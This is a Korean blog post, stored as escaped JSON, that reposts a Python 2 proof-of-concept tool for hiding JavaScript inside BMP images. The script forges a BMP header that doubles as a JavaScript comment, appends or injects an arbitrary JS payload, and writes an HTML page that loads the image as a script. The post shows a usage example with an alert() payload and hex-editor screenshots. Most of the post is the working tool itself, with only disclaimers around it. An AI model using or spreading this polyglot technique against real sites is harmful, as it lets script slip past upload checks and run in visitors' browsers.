\n\uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4.
\n<\/strong><\/p>\n
bmp \uc774\ubbf8\uc9c0\uc548\uc5d0 \uc2a4\ud06c\ub9bd\ud06c \uc0bd\uc785<\/p>\n
#!\/usr\/bin\/env python2\r\n#==============================================================================#\r\n#======= Simply injects a JavaScript Payload into a BMP. ===========================#\r\n#======= The resulting BMP must be a valid (not corrupted) BMP. ====================#\r\n#======= Author: marcoramilli.blogspot.com =======================================#\r\n#======= Version: PoC (don't even think to use it in development env.) ================#\r\n#======= Disclaimer: ============================================================#\r\n#THIS SOFTWARE IS PROVIDED BY THE AUTHOR \"AS IS\" AND ANY EXPRESS OR\r\n#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\r\n#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\n#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,\r\n#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\r\n#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\r\n#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\r\n#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\r\n#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\r\n#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\r\n#POSSIBILITY OF SUCH DAMAGE.\r\n#==============================================================================#\r\nimport argparse\r\nimport os\r\n \r\n#---------------------------------------------------------\r\ndef _hexify(num):\r\n \"\"\"\r\n Converts and formats to hexadecimal\r\n \"\"\"\r\n num = \"%x\" % num\r\n if len(num) % 2:\r\n num = '0'+num\r\n return num.decode('hex')\r\n \r\n#---------------------------------------------------------\r\n#Example payload: \"var _0xe428=[\\\"\"+ b'\\x48\\x65\\x6C\\x6C\\x6F\\x20\\x57\\x6F\\x72\\x6C\\x64' + \"\\\"]\r\n#;alert(_0xe428[0]);\"\r\ndef _generate_and_write_to_file(payload, fname):\r\n \"\"\"\r\n Generates a fake but valid BMP within scriting\r\n \"\"\"\r\n f = open(fname, \"wb\")\r\n header = (b'\\x42\\x4D' #Signature BM\r\n b'\\x2F\\x2A\\x00\\x00' #Header File size, but encoded as \/* <-- Yes it's a valid header\r\n b'\\x00\\x00\\x00\\x00' #Reserved\r\n b'\\x00\\x00\\x00\\x00' #bitmap data offset\r\n b''+ _hexify( len(payload) ) + #bitmap header size\r\n b'\\x00\\x00\\x00\\x14' #width 20pixel .. it's up to you\r\n b'\\x00\\x00\\x00\\x14' #height 20pixel .. it's up to you\r\n b'\\x00\\x00' #nb_plan \r\n b'\\x00\\x00' #nb per pixel\r\n b'\\x00\\x10\\x00\\x00' #compression type\r\n b'\\x00\\x00\\x00\\x00' #image size .. its ignored\r\n b'\\x00\\x00\\x00\\x01' #Horizontal resolution\r\n b'\\x00\\x00\\x00\\x01' #Vertial resolution\r\n b'\\x00\\x00\\x00\\x00' #number of colors\r\n b'\\x00\\x00\\x00\\x00' #number important colors\r\n b'\\x00\\x00\\x00\\x80' #palet colors to be complient\r\n b'\\x00\\x80\\xff\\x80' #palet colors to be complient\r\n b'\\x80\\x00\\xff\\x2A' #palet colors to be complient\r\n b'\\x2F\\x3D\\x31\\x3B' #*\/=1;\r\n )\r\n # I made this explicit, step by step .\r\n f.write(header)\r\n f.write(payload)\r\n f.close()\r\n return True\r\n \r\n#---------------------------------------------------------\r\ndef _generate_launching_page(f):\r\n \"\"\"\r\n Creates the HTML launching page\r\n \"\"\"\r\n \r\n htmlpage =\"\"\"\r\n <html>\r\n <head><title>Opening an image<\/title> <\/head>\r\n <body>\r\n <img src=\\\"\"\"\" + f + \"\"\"\\\"\\>\r\n <script src= \\\"\"\"\" + f + \"\"\"\\\"> <\/script>\r\n <\/body>\r\n <\/html>\r\n \"\"\"\r\n html = open(\"run.html\", \"wb\")\r\n html.write(htmlpage);\r\n html.close()\r\n return True\r\n \r\n#---------------------------------------------------------\r\ndef _inject_into_file(payload, fname):\r\n \"\"\"\r\n Injects the payload into existing BMP\r\n NOTE: if the BMP contains \\xFF\\x2A might caouse issues\r\n \"\"\"\r\n # I know, I can do it all in memory and much more fast.\r\n # I wont do it here.\r\n f = open(fname, \"r+b\")\r\n b = f.read()\r\n b.replace(b'\\x2A\\x2F',b'\\x00\\x00')\r\n f.close()\r\n \r\n f = open(fname, \"w+b\")\r\n f.write(b)\r\n f.seek(2,0)\r\n f.write(b'\\x2F\\x2A')\r\n f.close()\r\n \r\n f = open(fname, \"a+b\")\r\n f.write(b'\\xFF\\x2A\\x2F\\x3D\\x31\\x3B')\r\n f.write(payload)\r\n f.close()\r\n return True\r\n \r\n \r\n#---------------------------------------------------------\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"filename\",help=\"the bmp file name to be generated\/or infected\")\r\n parser.add_argument(\"js_payload\",help=\"the payload to be injected. For exmample: \\\"alert(\\\"test\\\");\\\"\")\r\n parser.add_argument(\"-i\", \"--inject-to-existing-bmp\", action=\"store_true\", help=\"inject into the current bitmap\")\r\n args = parser.parse_args()\r\n print(\"\"\"\r\n |======================================================================================================|\r\n | [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. |\r\n | It is the end user's responsibility to obey all applicable local, state and federal laws. |\r\n | Authors assume no liability and are not responsible for any misuse or damage caused by this program |\r\n |======================================================================================================|\r\n \"\"\")\r\n if args.inject_to_existing_bmp:\r\n _inject_into_file(args.js_payload, args.filename)\r\n else:\r\n _generate_and_write_to_file(args.js_payload, args.filename)\r\n \r\n _generate_launching_page(args.filename)\r\n print \"[+] Finished!\"<\/pre>\n\uc0ac\uc6a9\ubc95<\/p>\n
bmp_script_injection.py -i test.bmp \"alert('bmp script injection test');\"<\/pre>\n\uba3c\uc800 \uc0dd\uc131\ub41c run.html \uc18c\uc2a4\ub97c \ubcf4\uba74, script\uc5d0 bmp \uc774\ubbf8\uc9c0\ub97c \uc900 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4..
\n![\"bmp_script_injection1\"](\"http:\/\/apollo89.com\/wordpress\/wp-content\/uploads\/2013\/10\/bmp_script_injection1.png\")
<\/p>\n
\uadf8\ub9ac\uace0 run.html \uc744 \uc2e4\ud589\ud574\ubcf4\uba74, script \uac00 \ub3d9\uc791\ud558\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.(\uc774\ubbf8\uc9c0\ub3c4 \uc815\uc0c1\uc801\uc73c\ub85c \ub098\uc628\ub2e4.)
\n![\"bmp_script_injection2\"](\"http:\/\/apollo89.com\/wordpress\/wp-content\/uploads\/2013\/10\/bmp_script_injection2.png\")
<\/p>\n
\uadf8\ub798\uc11c Hex Editer \uc73c\ub85c \ubcf4\ub2c8, \ub9c8\uc9c0\ub9c9\ubd80\ubd84\uc5d0 injection \ud55c script \ub97c \ubcfc \uc218 \uc788\uc5c8\ub2e4.
\n![\"bmp_script_injection3\"](\"http:\/\/apollo89.com\/wordpress\/wp-content\/uploads\/2013\/10\/bmp_script_injection3.png\")
<\/p>\n
\ucc38\uace0 : http:\/\/marcoramilli.blogspot.com.es\/2013\/10\/hacking-through-images.html?m=1<\/a><\/p>\n <\/p>\n","protected":false},"excerpt":{"rendered":"
Notice : \ud574\ub2f9 \uc790\ub8cc\uac00 \uc800\uc791\uad8c\ub4f1\uc5d0 \uc758\ud574\uc11c \ubb38\uc81c\uac00 \uc788\ub2e4\uba74 \ubc14\ub85c \uc0ad\uc81c\ud558\uaca0\uc2b5\ub2c8\ub2e4. \uc5f0\uad6c\ubaa9\uc801\uc73c\ub85c \uc0ac\uc6a9\ud558\uc9c0 \uc54a\uace0 \uc545\uc758\uc801\uc778 \ubaa9\uc801\uc73c\ub85c \uc774\uc6a9\ud560 \uacbd\uc6b0 \ubc1c\uc0dd\ud560 \uc218 \uc788\ub294 \ubc95\uc801\uc740 \ucc45\uc784\uc740 \ubaa8\ub450 \ubcf8\uc778\uc5d0\uac8c \uc788\uc2b5\ub2c8\ub2e4. bmp \uc774\ubbf8\uc9c0\uc548\uc5d0 \uc2a4\ud06c\ub9bd\ud06c \uc0bd\uc785 #!\/usr\/bin\/env python2 #==============================================================================# #======= Simply injects a JavaScript Payload into … Continue reading